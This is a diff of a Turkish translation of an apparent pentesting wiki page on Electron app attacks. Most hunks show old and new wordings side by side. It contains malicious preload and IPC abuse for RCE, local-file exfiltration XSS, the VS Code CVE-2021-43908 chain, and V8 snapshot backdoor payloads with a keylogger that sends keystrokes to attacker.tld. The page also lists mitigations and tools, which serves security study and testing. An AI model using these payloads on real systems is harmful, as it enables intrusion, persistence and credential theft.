<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
Bu nedenle, keyfi bir sayfa yüklemeyi başaran bir saldırgan bu etiketi kullanarak **keyfi bir preload script yükleyebilirdi**.
Bu nedenle, rastgele bir sayfa yüklemeyi başarabilen bir attacker, o etiketi kullanarak **rastgele bir preload script yükleyebilirdi**.
Bu preload script daha sonra **zayıf bir IPC servisi (`skype-new-window`)**'i çağırmak için suistimal edildi; bu servis RCE elde etmek için **`shell.openExternal`**'ı çağırıyordu:
Bu preload script daha sonra **vulnerable IPC service (`skype-new-window`)**'i çağırmak için istismar edildi; bu servis ise RCE elde etmek için **`shell.openExternal`**'ı çağırıyordu:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
@ -251,11 +250,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
```
## İç Dosyaları Okuma: XSS + contextIsolation
**`contextIsolation`'ı devre dışı bırakmak, `<webview>` etiketlerinin kullanılmasına izin verir**, `<iframe>`'e benzer şekilde yerel dosyaların okunması ve exfiltrating için kullanılabilir. Sunulan bir örnek, bu açığı exploit ederek iç dosyaların içeriğini nasıl okuyacağını gösterir:
**`contextIsolation`'ı devre dışı bırakmak, `<webview>` etiketlerinin `<iframe>`'e benzer şekilde yerel dosyaları okuma ve exfiltrating için kullanılmasına olanak tanır.** Bir örnek, bu açığın iç dosyaların içeriğini okumak için nasıl istismar edilebileceğini gösterir:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Ayrıca, **bir iç dosyayı okuma** için başka bir yöntem paylaşılmış; bu, bir Electron masaüstü uygulamasında kritik bir yerel dosya okuma açığını vurgular. Bu, uygulamayı exploit etmek için bir script enjekte etmeyi ve verileri exfiltrate etmeyi içerir:
Ayrıca, **iç bir dosyayı okuma** için başka bir yöntem paylaşılmış; bu, bir Electron masaüstü uygulamasında kritik bir local file read vulnerability'yi vurgular. Bu, uygulamayı istismar etmek ve verileri exfiltrate etmek için bir script enjekte etmeyi içerir:
```html
<br /><br /><br /><br />
<h1>
@ -271,23 +270,23 @@ frames[0].document.body.innerText
</script>
</h1>
```
## **RCE: XSS + Eski chromium**
## **RCE: XSS + Eski Chromium**
Eğer uygulamanın kullandığı **chromium** **eski** ise ve üzerinde **known vulnerabilities** varsa, bunu **exploit** edip **XSS** üzerinden **RCE** elde etmek mümkün olabilir.\
Bir örneğini şu **writeup**'ta görebilirsiniz: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
Uygulamanın kullandığı **chromium** **old** ise ve üzerinde **known** **vulnerabilities** varsa, bunu **exploit** edip **RCE**'yi **XSS** aracılığıyla elde etmek mümkün olabilir.\
Örneği bu **inceleme**de görebilirsiniz: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing via Internal URL regex bypass**
## **XSS Phishing — Internal URL regex bypass ile**
Bir XSS bulduğunuzu varsayalım ama **RCE tetikleyemiyor** veya **internal files** çalamıyorsanız, bunu **phishing** ile **credentials** çalmak için kullanmayı deneyebilirsiniz.
Bir XSS bulduğunuzu varsayalım ama **cannot trigger RCE or steal internal files**; bunu kullanarak **steal credentials via phishing** deneyebilirsiniz.
Öncelikle yeni bir **URL** açmaya çalıştığınızda ne olduğunu bilmeniz gerekir; front-end'deki **JS** kodunu kontrol ederek:
Öncelikle yeni bir URL açmaya çalıştığınızda ne olduğuna bakmalısınız; front-end'deki JS kodunu kontrol edin:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
**`openInternally`** çağrısı, **link** platforma ait olduğu için **masaüstü pencerede** mi açılacağına, **veya** üçüncü taraf bir kaynak olarak **tarayıcıda** mı açılacağına karar verir.
Çağrı **`openInternally`** ilgili **link**in platforma ait bir link olması durumunda **masaüstü penceresinde** mi **açılacağını**, **veya** **tarayıcıda 3. taraf kaynak** olarak mı açılacağını belirler.
Fonksiyon tarafından kullanılan **regex** **vulnerable to bypasses** ise (örneğin **not escaping the dots of subdomains**), bir attacker XSS'i kötüye kullanarak **open a new window which** saldırgan altyapısında yer alacak ve kullanıcıdan **asking for credentials** isteyen yeni bir pencere açabilir:
Fonksiyonda kullanılan **regex** eğer **bypasslara karşı savunmasız** (örneğin **alt alan adlarındaki noktaları kaçışlandırmamak**) ise, bir saldırgan XSS'i suistimal ederek **yeni bir pencere açabilir**; bu pencere saldırganın altyapısında barındırılacak ve kullanıcıdan **kimlik bilgilerini isteyecek**:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
@ -295,11 +294,11 @@ window.open("<http://subdomainagoogleq.com/index.html>")
```
## `file://` Protokol
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Bir **özel protokol** kullanmak bu tür sorunları önler çünkü protokolü yalnızca belirli bir dosya kümesini sunmakla sınırlayabilirsiniz.
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **custom protocol** prevents issues like this as you can limit the protocol to only serving a specific set of files.
## Remote module
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. Ancak bu modülün etkinleştirilmesi önemli güvenlik riskleri getirir. Uygulamanın saldırı yüzeyini genişletir ve cross-site scripting (XSS) saldırıları gibi zafiyetlere daha açık hale getirir.
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
> [!TIP]
> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.
@ -320,37 +319,37 @@ mainWindow = new BrowserWindow({
})
remoteMain.enable(mainWindow.webContents)
```
Sonra, renderer process modülden nesneleri şu şekilde import edebilir:
Daha sonra, renderer süreci modülden şu şekilde nesneler import edebilir:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
Bu **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)**, remote modülündeki **`app`** nesnesi tarafından açığa çıkarılan bazı ilginç **fonksiyonları** gösteriyor:
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)**, remote modülündeki **`app`** nesnesi tarafından sunulan bazı ilginç **fonksiyonları** gösteriyor:
- **`app.relaunch([options])`**
- **Yeniden başlatır** uygulamayı; mevcut örneği **sonlandırıp** yeni bir tane **başlatır**. **Uygulama güncellemeleri** veya önemli **durum değişiklikleri** için kullanışlıdır.
- Uygulamayı mevcut örneği **kapatıp** yeni bir tane **başlatarak** yeniden başlatır. **Uygulama güncellemeleri** veya önemli **durum değişiklikleri** için faydalıdır.
- **`app.setAppLogsPath([path])`**
- **Tanımlar** veya **oluşturur** uygulama günlüklerini depolamak için bir dizin. Günlüklere **`app.getPath()`** veya **`app.setPath(pathName, newPath)`** kullanılarak erişilebilir veya değiştirilebilir.
- **Uygulama loglarını** saklamak için bir dizin **tanımlar** veya **oluşturur**. Loglar **`app.getPath()`** veya **`app.setPath(pathName, newPath)`** kullanılarak **alınabilir** veya **değiştirilebilir**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- Mevcut yürütülebilir dosyayı belirtilen bir **protokol** için **varsayılan işleyici** olarak **kaydeder**. Gerekirse **özel bir yol** ve **argümanlar** sağlayabilirsiniz.
- Belirtilen bir **protokol** için mevcut yürütülebilir dosyayı **varsayılan işleyici** olarak **kaydeder**. Gerekirse **özel bir path** ve **argümanlar** sağlayabilirsiniz.
- **`app.setUserTasks(tasks)`**
- **Görevler**i **Jump List** içindeki **Tasks kategorisine** ekler (on Windows). Her görev uygulamanın nasıl **başlatılacağını** veya hangi **argümanların** geçirileceğini kontrol edebilir.
- **Görevleri**, **Jump List** içindeki **Tasks kategorisine** ekler (Windows üzerinde). Her görev uygulamanın nasıl **başlatılacağını** veya hangi **argümanların** iletileceğini kontrol edebilir.
- **`app.importCertificate(options, callback)`**
- Sistemin **sertifika deposuna** bir **PKCS#12 certificate** **aktarır** (sadece Linux). Sonucu işlemek için bir **callback** kullanılabilir.
- Sistemin **sertifika deposuna** bir **PKCS#12 certificate** içe aktarır (sadece Linux). Sonucu işlemek için bir **callback** kullanılabilir.
- **`app.moveToApplicationsFolder([options])`**
- Uygulamayı **Applications folder**'a taşır (on macOS). Mac kullanıcıları için **standart bir kurulum** sağlanmasına yardımcı olur.
- Uygulamayı **Applications klasörüne** taşır (macOS üzerinde). Mac kullanıcıları için **standart bir kurulum** sağlamaya yardımcı olur.
- **`app.setJumpList(categories)`**
- **Özel bir Jump List**i **ayarlar** veya **kaldırır** (on Windows). Görevlerin kullanıcıya nasıl görüneceğini düzenlemek için **kategoriler** belirtebilirsiniz.
- Windows üzerinde **özel bir Jump List** oluşturur veya kaldırır. Görevlerin kullanıcıya nasıl görüneceğini düzenlemek için **kategoriler** belirtebilirsiniz.
- **`app.setLoginItemSettings(settings)`**
- Hangi **yürütülebilir dosyaların** girişte (**login**) başlatılacağını ve bunların **seçeneklerini** yapılandırır (sadece macOS ve Windows).
- Hangi **çalıştırılabilir dosyaların** girişte başlatılacağını ve bunların **seçeneklerini** yapılandırır (sadece macOS ve Windows).
Example:
Örnek:
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences modülü
Electron'de sistem tercihlerine erişmek ve **sistem olayları göndermek** için kullanılan **birincil API**. **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** ve **setUserDefault** gibi yöntemlerin tamamı bu modülün **parçasıdır**.
Electron'da sistem tercihlerine erişmek ve **sistem olaylarını yayınlamak** için **birincil API**. **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** ve **setUserDefault** gibi yöntemlerin tamamı bu modülün **parçasıdır**.
**Örnek kullanım:**
```javascript
@ -367,31 +366,31 @@ console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **Dinler**: **yerel macOS bildirimlerini** NSDistributedNotificationCenter kullanarak.
* **macOS Catalina** öncesinde, CFNotificationCenterAddObserver'a **nil** geçirerek **tüm** dağıtılmış bildirimleri sniff edebilirdiniz.
* **Catalina / Big Sur** sonrası, sandboxed uygulamalar yine de bildirimleri **isimle** kaydederek **birçok olaya subscribe** olabilir (örneğin, **screen locks/unlocks**, **volume mounts**, **network activity**, vb.).
* **Dinler** NSDistributedNotificationCenter kullanarak **yerel macOS bildirimlerini**.
* **macOS Catalina** öncesinde, CFNotificationCenterAddObserver'a **nil** geçirerek **tüm** dağıtılmış bildirimleri sniff'leyebilirdiniz.
* **Catalina / Big Sur** sonrası, sandbox'lı uygulamalar yine bildirimleri **ad bazında** kaydederek birçok olaya (ör. **ekran kilidi/açılması**, **hacim bağlamaları**, **ağ etkinliği**, vb.) **subscribe** olabilirler.
### **getUserDefault / setUserDefault**
* **NSUserDefaults** ile **arayüz** sağlar; macOS'ta **uygulama** veya **küresel** tercihleri saklar.
* **NSUserDefaults** ile **arayüz** sağlar; bu, macOS'ta **uygulama** veya **global** tercihleri saklar.
* **getUserDefault** hassas bilgileri **alabilir**, örneğin **recent file locations** veya **kullanıcının coğrafi konumu**.
* **getUserDefault**, **recent file locations** veya **user’s geographic location** gibi hassas bilgileri **retrieve** edebilir.
* **setUserDefault** bu tercihleri **değiştirebilir**, potansiyel olarak bir uygulamanın **yapılandırmasını** etkileyebilir.
* **setUserDefault**, bu tercihleri **modify** edebilir ve potansiyel olarak bir uygulamanın **configuration**'ını etkileyebilir.
* Eski Electron sürümlerinde (v8.3.0 öncesi), yalnızca NSUserDefaults'un **standard suite**'i **erişilebilir** durumdaydı.
* **Older Electron versions** (v8.3.0 öncesi) durumunda, yalnızca NSUserDefaults'un **standard suite**'i **accessible** idi.
## Shell.showItemInFolder
This function whows the given file in a file manager, which **could automatically execute the file**.
Bu fonksiyon verilen dosyayı bir dosya yöneticisinde gösterir; bu, dosyanın **otomatik olarak çalıştırılmasına** neden olabilir.
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy
Electron uygulamalarında XSS saldırılarını önlemek için bir **Content Security Policy (CSP)** olmalıdır. **CSP**, tarayıcıda **güvenilmeyen kodun** **çalıştırılmasını** önlemeye yardımcı olan bir **güvenlik standardıdır**.
Electron uygulamalarının **XSS attacks**'i **önlemek** için bir **Content Security Policy (CSP)**'si olmalıdır. **CSP**, tarayıcıda **untrusted code**'un **execution**'ını **prevent** etmeye yardımcı olan bir **security standard**'dır.
Genellikle **`main.js`** dosyasında veya **`index.html`** şablonunda, CSP'nin bir **meta tag** içinde tanımlanmasıyla **konfigüre edilir**.
Genellikle **`main.js`** dosyasında veya **`index.html`** şablonunda, CSP'nin bir **meta tag** içinde bulunduğu yerde **configured** edilir.
For more information check:
@ -403,14 +402,14 @@ pentesting-web/content-security-policy-csp-bypass/
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
Bu gerçek dünya zinciri Visual Studio Code 1.63 (CVE-2021-43908) sürümünü etkiledi ve bir webview içindeki tek bir markdown kaynaklı XSS'in CSP, postMessage ve scheme handler'lar yanlış yapılandırıldığında tam RCE'ye nasıl yükseltilebileceğini gösterir. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
Bu gerçek dünya zinciri Visual Studio Code 1.63 (CVE-2021-43908) etkiledi ve bir webview içindeki tek bir markdown-driven XSS'in CSP, postMessage ve scheme handler'lar yanlış yapılandırıldığında nasıl tam RCE'ye yükseltilebileceğini gösterir. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
Attack chain overview
- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webview’s extensionId.
- Constructing target webview URL: Using the leaked ID to build `vscode-webview://<extensionId>/.../<publicUrl>`.
- Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`.
- Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource.
- RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
- First XSS via webview CSP: Oluşturulan CSP `style-src 'self' 'unsafe-inline'` içeriyordu, bu da `vscode-webview://` bağlamında inline/stil tabanlı enjeksiyona izin veriyordu. Payload hedef webview’in extensionId’sini exfiltrate etmek için `/stealID`'ye beacon gönderdi.
- Constructing target webview URL: Leaked ID kullanılarak `vscode-webview://<extensionId>/.../<publicUrl>` oluşturuldu.
- Second XSS via postMessage trust: Dış webview, `window.postMessage`'e sıkı origin/type kontrolleri olmadan güvendi ve `allowScripts: true` ile saldırgan HTML'i yükledi.
- Local file loading via scheme/path rewriting: Payload `file:///...`'ı `vscode-file://vscode-app/...` olarak yeniden yazdı ve `exploit.md`'yi `RCE.html` ile değiştirdi; zayıf yol doğrulamasını suistimal ederek ayrıcalıklı bir yerel kaynağı yükledi.
- RCE in Node-enabled context: Yüklenen HTML, Node API'lerinin kullanılabildiği bir ortamda çalıştı ve OS komut çalıştırmaya yol açtı.
Example RCE primitive in the final context
```js
@ -418,7 +417,7 @@ Example RCE primitive in the final context
require('child_process').exec('calc.exe'); // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
```
postMessage güven sorunlarıyla ilgili ek okumalar:
postMessage güven sorunlarıyla ilgili okumalar:
{{#ref}}
../../../pentesting-web/postmessage-vulnerabilities/README.md
@ -426,16 +425,16 @@ postMessage güven sorunlarıyla ilgili ek okumalar:
## **Araçlar**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) Electron tabanlı uygulamalarda yanlış yapılandırmaları ve güvenlik anti-pattern'lerini tespit etmek için bir araçtır.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) Electronegativity kullanan, Electron uygulamaları için açık kaynaklı bir VS Code eklentisidir.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) güvenlik açığı olan üçüncü taraf kütüphaneleri kontrol etmek için
- [**Electronegativity**](https://github.com/doyensec/electronegativity) Electron tabanlı uygulamalardaki yanlış yapılandırmaları ve güvenlik anti-pattern'lerini tespit etmek için bir araçtır.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) Electronegativity'yi kullanan, Electron uygulamaları için açık kaynaklı bir VS Code eklentisidir.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) kırılgan üçüncü taraf kütüphaneleri kontrol etmek için kullanılır.
- [**Electro.ng**](https://electro.ng/): Satın almanız gerekiyor
## Laboratuvarlar
## Lablar
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) you can find a lab to exploit vulnerable Electron apps.
Aşağıdaki [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) bağlantısında kırılgan Electron uygulamalarını istismar etmeye yönelik bir lab bulabilirsiniz.
Lab'da işinize yarayacak bazı komutlar:
Lab sırasında size yardımcı olacak bazı komutlar:
```bash
# Download apps from these URls
# Vuln to nodeIntegration
@ -458,18 +457,18 @@ cd vulnerable1
npm install
npm start
```
## V8 heap snapshot manipülasyonu ile yerel backdoor ekleme (Electron/Chromium) – CVE-2025-55305
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
Electron ve Chromium-tabanlı uygulamalar, her V8 isolate'ını (main, preload, renderer) başlatmak için startup sırasında önceden oluşturulmuş bir V8 heap snapshot'ı (v8_context_snapshot.bin ve isteğe bağlı olarak browser_v8_context_snapshot.bin) deserialize eder. Tarihsel olarak, Electron’un integrity fuses bu snapshot'ları executable içerik olarak ele almadı; bu yüzden fuse-tabanlı bütünlük uygulamasından ve işletim sistemi code-signing kontrollerinden kaçtılar. Sonuç olarak, kullanıcı tarafından yazılabilir bir kurulumdaki snapshot'ı değiştirmek, imzalı ikili dosyaları veya ASAR'ı değiştirmeden uygulama içinde gizli, kalıcı kod yürütmeye olanak sağladı.
Electron ve Chromium tabanlı uygulamalar, her V8 isolate'ını (main, preload, renderer) başlatmak için başlangıçta önceden oluşturulmuş bir V8 heap snapshot'ını (v8_context_snapshot.bin ve isteğe bağlı olarak browser_v8_context_snapshot.bin) deserialize eder. Tarihsel olarak Electron’un integrity fuses bu snapshot'ları çalıştırılabilir içerik olarak değerlendirmiyordu; dolayısıyla fuse tabanlı bütünlük denetimi ve OS code-signing kontrollerinden kaçıyorlardı. Sonuç olarak, kullanıcı tarafından yazılabilir bir kurulumdaki snapshot'ın değiştirilmesi, imzalı ikili dosyaları veya ASAR'ı değiştirmeden uygulama içinde gizli, kalıcı kod yürütme sağlıyordu.
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation ve OnlyLoadAppFromAsar ASAR içindeki uygulama JavaScript'ini doğruluyor, ancak V8 heap snapshot'larını kapsamadılar (CVE-2025-55305). Chromium benzer şekilde snapshot'ları integrity-check etmiyor.
- Attack preconditions: Uygulamanın kurulum dizinine lokal dosya yazımı. Bu, Electron uygulamalarının veya Chromium tarayıcılarının kullanıcı tarafından yazılabilir yollar altında yüklü olduğu sistemlerde yaygındır (ör. %AppData%\Local üzerinde Windows; macOS'ta /Applications ile bazı istisnalar).
- Effect: Sık kullanılan bir builtin'i (bir “gadget”) ezerek herhangi bir isolate'ta attacker JavaScript'in güvenilir şekilde yürütülmesi; bu da kalıcılık ve code-signing doğrulamasından kaçınma sağlar.
- Affected surface: Snapshot'ları kullanıcı tarafından yazılabilir konumlardan yükleyen Electron uygulamaları (fuses etkin olsa bile) ve Chromium-tabanlı tarayıcılar.
- Integrity gap: EnableEmbeddedAsarIntegrityValidation ve OnlyLoadAppFromAsar ASAR içindeki uygulama JavaScript'ini doğruluyor, ancak V8 heap snapshot'larını kapsamadılar (CVE-2025-55305). Chromium da benzer şekilde snapshot'ları bütünlük açısından doğrulamıyor.
- Attack preconditions: Uygulamanın kurulum dizinine yerel dosya yazma. Bu, Electron uygulamalarının veya Chromium tarayıcılarının kullanıcı tarafından yazılabilir dizinlere kurulduğu sistemlerde yaygındır (ör. %AppData%\Local on Windows; /Applications with caveats on macOS).
- Effect: Sık kullanılan bir builtin (bir “gadget”) üzerinde değişiklik yaparak herhangi bir isolate içinde saldırgan JavaScript'inin güvenilir şekilde çalıştırılması; bu kalıcılık ve code-signing doğrulamasından kaçınma sağlar.
- Affected surface: Kullanıcı tarafından yazılabilir konumlardan snapshot yükleyen Electron uygulamaları (fuses etkin olsa bile) ve Chromium tabanlı tarayıcılar.
Generating a malicious snapshot without building Chromium
- Önceden derlenmiş electron/mksnapshot kullanarak payload JS'i bir snapshot'a derleyin ve uygulamanın v8_context_snapshot.bin dosyasının üzerine yazın.
- electron/mksnapshot önceden derlenmiş aracını kullanarak payload JS'i bir snapshot'a derleyin ve uygulamanın v8_context_snapshot.bin dosyasını üzerine yazın.
Example minimal payload (prove execution by forcing a crash)
```js
@ -485,12 +484,11 @@ Array.isArray = function () {
throw new Error("testing isArray gadget");
};
```
Isolate-aware payload routing (main ve renderer'da farklı kod çalıştır)
Isolate-aware payload routing (main ile renderer'da farklı kodlar çalıştır)
- Main process detection: Sadece Node'da bulunan global'ler (ör. process.pid, process.binding(), veya process.dlopen) main process isolate içinde mevcuttur.
- Browser/renderer detection: Sadece Browser'da bulunan global'ler (ör. alert), bir document context içinde çalışırken erişilebilir.
- Main process tespiti: Node-only global'ler (ör. process.pid, process.binding(), process.dlopen) main process isolate içinde bulunur.
- Browser/renderer tespiti: Browser-only global'ler (ör. alert) document bağlamında çalıştırıldığında mevcut olur.
Örnek gadget: main-process Node yeteneklerini bir kez yoklayan
Example gadget that probes main-process Node capabilities once
```js
const orig = Array.isArray;
@ -519,7 +517,7 @@ process.exit(0);
return orig(...arguments);
};
```
Renderer/browser-context veri hırsızlığı PoC (örn. Slack)
Renderer/browser-context veri hırsızlığı PoC (ör. Slack)
```js
const orig = Array.isArray;
Array.isArray = function() {
@ -543,31 +541,27 @@ fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no
return orig(...arguments);
};
```
Operatör iş akışı
1) Yaygın bir yerleşik fonksiyonu bozacak payload.js dosyasını yazın (ör. Array.isArray) ve isteğe bağlı olarak izolasyon başına dallanma yapın.
2) Chromium kaynakları olmadan snapshot'ı oluşturun:
Operator iş akışı
1) payload.js yazın; yaygın bir builtin (ör. Array.isArray) üzerine yazsın ve isteğe bağlı olarak her isolate için dallansın.
2) Chromium kaynakları olmadan snapshot oluşturun:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) Hedef uygulamanın snapshot dosyalarını üzerine yazın:
- v8_context_snapshot.bin (her zaman kullanılır)
- browser_v8_context_snapshot.bin (LoadBrowserProcessSpecificV8Snapshot fuse kullanılıyorsa)
4) Uygulamayı başlatın; seçilen yerleşik fonksiyon her kullanıldığında gadget yürütülür.
4) Uygulamayı başlatın; seçilen builtin her kullanıldığında gadget çalışır.
Notlar ve dikkate alınması gerekenler
- Integrity/signature bypass: Snapshot dosyaları code-signing kontrolleri tarafından yerel yürütülebilir olarak değerlendirilmez ve (tarihsel olarak) Electron’un fuses veya Chromium bütünlük kontrolleri tarafından kapsanmamıştır.
- Persistence: Kullanıcı tarafından yazılabilir bir kurulumda snapshot'ı değiştirmek genellikle uygulama yeniden başlatmalarını aşar ve imzalanmış, meşru bir uygulama gibi görünür.
- Chromium browsers: Aynı tahrifat konsepti, kullanıcı tarafından yazılabilir konumlara kurulu Chrome/ türevleri için de geçerlidir. Chrome'un diğer bütünlük hafifletmeleri vardır ancak tehdit modelinde fiziksel olarak yerel saldırıları açıkça kapsam dışı bırakır.
- Bütünlük/imza atlatma: Snapshot dosyaları kod-imzalama kontrolleri tarafından native yürütülebilirler olarak değerlendirilmez ve (tarihi olarak) Electron’un fuses veya Chromium bütünlük kontrolleri tarafından kapsanmıyordu.
- Süreklilik: Kullanıcı tarafından yazılabilir bir kurulumda snapshot'u değiştirmek genellikle uygulama yeniden başlatmalarını atlatır ve imzalı, meşru bir uygulama gibi görünür.
- Chromium tarayıcılar: Aynı manipülasyon konsepti, kullanıcı tarafından yazılabilir konumlara kurulan Chrome/türevleri için de geçerlidir. Chrome'un başka bütünlük hafifletmeleri vardır ancak fiziksel olarak yerel saldırıları tehdit modelinin dışında açıkça bırakır.
Tespit ve hafifletmeler
- Snapshot'ları yürütülebilir içerik olarak ele alın ve bunları bütünlük uygulamasına dahil edin (CVE-2025-55305 fix).
- Sadece admin tarafından yazılabilir kurulum konumlarını tercih edin; v8_context_snapshot.bin ve browser_v8_context_snapshot.bin için temel hash'leri alın ve izleyin.
- Erken-runtime yerleşik fonksiyon tahribatını ve beklenmeyen snapshot değişikliklerini tespit edin; deserialized snapshot'lar beklenen değerlerle uyuşmadığında uyarı verin.
- Snapshot'ları yürütülebilir içerik olarak ele alın ve bütünlük uygulamalarına dahil edin (CVE-2025-55305 fix).
- Sadece admin yazılabilir kurulum konumlarını tercih edin; v8_context_snapshot.bin ve browser_v8_context_snapshot.bin için temel hash'leri alın ve izleyin.
- Erken çalışma zamanı builtin üzerine yazmalarını ve beklenmeyen snapshot değişikliklerini tespit edin; deserialized snapshot'lar beklenen değerlerle eşleşmediğinde alarm verin.
## **Referanslar**
## **References**
- [SecureLayer7: Electron Research in Desktop apps (Part 1)](https://blog.securelayer7.net/electron-app-security-risks/)
- [VS Code RCE PoC (CVE-2021-43908) – electrovolt](https://github.com/Sudistark/vscode-rce-electrovolt)
- [GitHub Advisory GHSA-2q4g-w47c-4674 (CVE-2020-15174)](https://github.com/advisories/GHSA-2q4g-w47c-4674)
- [MSRC: CVE-2021-43908](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43908)
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)